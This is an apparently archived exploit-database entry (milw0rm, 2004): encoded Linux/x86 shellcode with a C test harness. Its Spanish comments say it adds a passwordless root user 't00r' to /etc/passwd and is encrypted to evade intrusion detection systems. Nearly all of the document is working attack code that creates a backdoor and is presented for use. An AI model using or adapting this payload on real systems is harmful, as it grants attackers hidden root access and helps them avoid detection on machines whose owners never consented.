Linux/x86 - Add Root User (t00r) To /etc/passwd + Anti-IDS Shellcode (116 bytes)

/*
 * !!!!!! ANTI IDS SHELLCODE !!!!!!
 *
 * s0t4ipv6@shellcode.com.ar
 * 0x14abril0x7d2
 *
 * !!!!! ENCRIPTADA !!!!!

 * 116 bytes	
 * Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd

 * !!!!! ENCRIPTADA !!!!!
 *
 * Para mas informacion
 * Descargue http://www.shellcode.com.ar/Projects/JempiScodes(version).tgz
 *
 * !!!!!! ANTI IDS SHELLCODE !!!!!!
*/

#include <stdio.h>

char shellcode[]=
"\xeb\x1b\x5f\x31\xc0\x6a\x28\x6a\x52\x59\x49\x5b\x8a\x04\x0f"
"\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
"\xe0\xff\xff\xff\x0e\x6f\xc7\xe4\xff\xfb\xec\xf3\xf4\xb3\xa0"
"\xee\xf6\xb8\xff\xb5\xee\x02\x95\x91\x3a\xb5\x70\x32\xba\x37"
"\xb2\xf6\xb5\xbb\xb2\x04\x07\x86\x5c\x21\xb2\x2e\xc6\xf9\xbe"
"\xa3\xe4\xff\xad\xea\xb2\xf4\xfe\xa7\xf5\xff\xea\xb8\xad\xff"
"\xf5\xf5\xad\xe3\xbb\xff\xbd\x3f\x59\x66\x33\xba\x72\x97\xd3"
"\xb2\x4e\x0e\x8f\x49\x34\xb2\x3f\x72\xb2\x57";

main() {
        int *ret;
        ret=(int *)&ret+2;
        printf("Shellcode lenght=%d\n",strlen(shellcode));
        (*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-26]